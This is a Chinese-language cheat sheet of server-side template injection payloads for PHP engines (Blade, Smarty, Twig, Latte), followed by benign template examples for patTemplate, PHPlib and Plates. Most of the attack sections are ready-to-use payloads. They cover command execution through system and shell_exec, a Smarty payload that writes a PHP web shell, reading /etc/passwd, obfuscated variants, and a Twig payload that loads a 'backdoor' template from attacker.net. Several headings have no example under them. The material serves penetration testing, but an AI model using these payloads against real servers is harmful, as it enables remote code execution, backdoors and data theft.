服务端模板注入 (SSTI) - PHP
服务端模板注入 (SSTI) 是一种漏洞,当攻击者可以将恶意输入注入服务端模板,导致模板引擎在服务器上执行任意命令时,就会产生此漏洞。在 PHP 中,当用户输入嵌入到由 Smarty、Twig 等模板引擎渲染的模板中,甚至嵌入到纯 PHP 模板中且未经过适当的过滤或校验时,就可能发生 SSTI。
摘要 (Summary)
- 模板库 (#templating-libraries)
- 通用载荷 (#universal-payloads)
- Blade
- Smarty
- Twig
- Latte
- patTemplate
- PHPlib 和 HTML_Template_PHPLIB
- Plates
- 参考资料 (#references)
模板库 (Templating Libraries)
| 模板名称 | 载荷格式 |
|---|---|
| Blade (Laravel) | {{ }} |
| Latte | { } |
| Mustache | {{ }} |
| Plates | <?= ?> |
| Smarty | { } |
| Twig | {{ }} |
通用载荷 (Universal Payloads)
通用的代码注入载荷适用于许多基于 PHP 的模板引擎,例如 Blade、Latte 和 Smarty。
要使用这些载荷,请将其包裹在适当的标签中。
// 回显型 RCE (Rendered RCE)
shell_exec('id')
system('id')
// 报错型 RCE (Error-Based RCE)
ini_set("error_reporting", "1") // 为报错型利用启用详细的致命错误报告
fopen(join("", ["Y:/A:/", shell_exec('id')]), "r")
include(join("", ["Y:/A:/", shell_exec('id')]))
join("", ["xx", shell_exec('id')])()
// 布尔型 RCE (Boolean-Based RCE)
1 / (pclose(popen("id", "wb")) == 0)
// 时间型 RCE (Time-Based RCE)
shell_exec('id && sleep 5')
system('id && sleep 5')
Blade
通用载荷也适用于 Blade。
Blade 是 Laravel 中自带的简单但功能强大的模板引擎。
字符串 id 可以使用 {{implode(null,array_map(chr(99).chr(104).chr(114),[105,100]))}} 生成。
载荷的参考和说明可以在 yeswehack/server-side-template-injection-exploitation 找到。
Smarty
通用载荷也适用于 v5 之前的 Smarty。
Smarty 是一个用于 PHP 的模板引擎。
{$smarty.version}
{php}echo `id`;{/php} //在 smarty v3 中已弃用
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // 兼容 v3,在 v5 中已弃用
{system('cat index.php')} // 兼容 v3,在 v5 中已弃用
Smarty - 混淆后的代码执行
通过使用变量修饰符 cat,可以将单个字符连接起来形成字符串 "id",如下所示:{chr(105)|cat:chr(100)}。
执行系统命令(命令:id):
载荷的参考和说明可以在 yeswehack/server-side-template-injection-exploitation 找到。
Twig
Twig 是一个用于 PHP 的现代模板引擎。
Twig - 基础注入
Twig - 模板格式
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
Twig - 任意文件读取
Twig - 代码执行
{{self}}
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
{{[0]|reduce('system','id')}}
{{['id']|map('system')|join}}
{{['id',1]|sort('system')|join}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id']|filter('passthru')}}
{{['id']|map('passthru')}}
{{['nslookup oastify.com']|filter('system')}}
{% for a in ["error_reporting", "1"]|sort("ini_set") %}{% endfor %} // 为报错型利用启用详细错误输出
{{_self.env.registerUndefinedFilterCallback("shell_exec")}}{%include ["Y:/A:/", _self.env.getFilter("id")]|join%} // 报错型 RCE <= 1.19
{{[0]|map(["xx", {"id": "shell_exec"}|map("call_user_func")|join]|join)}} // 报错型 RCE >=1.41, >=2.10, >=3.0
{{_self.env.registerUndefinedFilterCallback("shell_exec")}}{{1/(_self.env.getFilter("id && echo UniqueString")|trim('\n') ends with "UniqueString")}} // 布尔型 RCE <= 1.19
{{1/({"id && echo UniqueString":"shell_exec"}|map("call_user_func")|join|trim('\n') ends with "UniqueString")}} // 布尔型 RCE >=1.41, >=2.10, >=3.0
{{ 1 / (["id >>/dev/null && echo -n 1", "0"]|sort("system")|first == "0") }} // 使用 CVE-2022-23614 进行沙箱绕过后的布尔型 RCE
在某些设置下,如果出现任何错误或警告,Twig 就会中断渲染。在这些情况下,以下载荷可以正常运行:
注入值以避免在文件名中使用引号的示例(通过 OFFSET 和 LENGTH 指定载荷 FILENAME 的位置):
通过 FILTER_VALIDATE_EMAIL PHP 的电子邮件示例:
POST /subscribe?0=cat+/etc/passwd HTTP/1.1
email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld
Twig - 混淆后的代码执行
Twig 的 block 功能和内建的 _charset 变量可以嵌套使用,以生成载荷(命令:id):
{%block U%}id000passthru{%endblock%}{%set x=block(_charset|first)|split(000)%}{{[x|first]|map(x|last)|join}}
以下载荷利用了内建的 _context 变量,只要模板引擎执行二次渲染过程,也能实现 RCE:
载荷的参考和说明可以在 yeswehack/server-side-template-injection-exploitation 找到。
Latte
通用载荷也适用于 Latte。
Latte - 基础注入
Latte - 代码执行
patTemplate
patTemplate 是一个非编译型 PHP 模板引擎,它使用 XML 标签将文档划分为不同的部分。
<patTemplate:tmpl name="page">
这是主页面。
<patTemplate:tmpl name="foo">
它包含了另一个模板。
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
你好 {NAME}。<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
PHPlib 和 HTML_Template_PHPLIB
HTML_Template_PHPLIB 与 PHPlib 相同,但被移植到了 Pear。
authors.tpl
<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>作者</caption>
<thead>
<tr><th>名称</th><th>邮箱</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
authors.php
<?php
// 我们想要显示这个作者列表
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
// 创建模板对象
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
// 加载文件
$t->setFile('authors', 'authors.tpl');
// 设置 block
$t->setBlock('authors', 'authorline', 'authorline_ref');
// 设置一些变量
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', '代码作者,日期:' . date('Y-m-d'));
// 显示作者
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
// 完成并输出
echo $t->finish($t->parse('OUT', 'authors'));
?>
Plates
Plates 的灵感来自 Twig,但是它属于原生的 PHP 模板引擎,而不是编译型的模板引擎。
控制器 (controller):
// 创建新的 Plates 实例
$templates = new League\Plates\Engine('/页面路径');
// 渲染模板
echo $templates->render('profile', ['name' => 'Jonathan']);
页面模板 (page template):
<?php $this->layout('template', ['title' => '用户资料']) ?>
<h1>用户资料</h1>
<p>你好,<?=$this->e($name)?></p>
布局模板 (layout template):
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>